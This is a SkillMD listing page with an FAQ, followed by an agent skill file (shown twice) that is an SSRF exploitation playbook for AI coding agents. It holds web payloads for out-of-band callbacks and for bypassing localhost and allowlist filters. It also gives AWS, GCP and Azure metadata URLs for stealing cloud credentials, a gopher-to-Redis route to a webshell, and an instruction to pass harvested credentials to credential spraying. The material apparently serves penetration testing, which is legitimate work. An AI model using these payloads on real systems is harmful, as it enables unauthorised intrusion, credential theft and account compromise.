How do I install the Web Ssrf skill?

Run npx skillmds@latest add s0ld13rr/web-ssrf in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Ssrf safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls, reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Ssrf?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Ssrf free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Ssrf?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Ssrf by s0ld13rr — Agent Skill

Name: Web Ssrf
Rating: 4.2 (5 reviews)
Author: s0ld13rr

Web Ssrf

Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.

s0ld13rr Updated Sep 22, 2026

File contents

Server-Side Request Forgery (SSRF)

When this fires

The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.

Detect

Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:

# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site   # then watch for the server-sourced hit

Compare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).

Decide — filter bypass

Blocklist of 127.0.0.1/localhost → http://127.1, http://0, http://[::1], http://2130706433 (decimal), http://0x7f000001, http://127.0.0.1.nip.io.
Allowlist/parser confusion → http://allowed@evil, http://evil#allowed, http://allowed.evil.com, CR/LF + @, or a redirect you control (302 → internal).
Scheme filter → gopher:// (raw TCP → Redis/SMTP/internal HTTP), file://, dict://.

Exploit → PROVE IMPACT

# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/      # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/  (Header Metadata-Flavor: Google)  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Header Metadata:true)  # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing

Proof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.

False positives / pitfalls

Client-side fetch (the BROWSER requests it) = not SSRF.
WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.

---name: web-ssrfdescription: Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.---# Server-Side Request Forgery (SSRF)## When this firesThe server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js `/_next/image`), XML/SVG parsers.## DetectPoint it at an OOB listener; a callback from the SERVER's IP confirms SSRF:```bash# use interactsh / a collaborator / your own listenerurl=http://<OOB-id>.oast.site # then watch for the server-sourced hit```Compare internal vs external: `http://127.0.0.1:<port>` / `http://localhost` responses vs a dead port (differential = internal reachability).## Decide — filter bypass- Blocklist of `127.0.0.1`/`localhost` → `http://127.1`, `http://0`, `http://[::1]`, `http://2130706433` (decimal), `http://0x7f000001`, `http://127.0.0.1.nip.io`.- Allowlist/parser confusion → `http://allowed@evil`, `http://evil#allowed`, `http://allowed.evil.com`, CR/LF + `@`, or a redirect you control (302 → internal).- Scheme filter → `gopher://` (raw TCP → Redis/SMTP/internal HTTP), `file://`, `dict://`.## Exploit → PROVE IMPACT```bash# cloud metadata (the classic high-impact proof):http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 targethttp://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCPhttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing```**Proof required:** exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.## Tooling`nuclei -tags ssrf`; interactsh/collaborator for OOB; `gopherus` to craft gopher payloads.## False positives / pitfalls- Client-side fetch (the BROWSER requests it) = not SSRF.- WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.- Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.

Frequently asked questions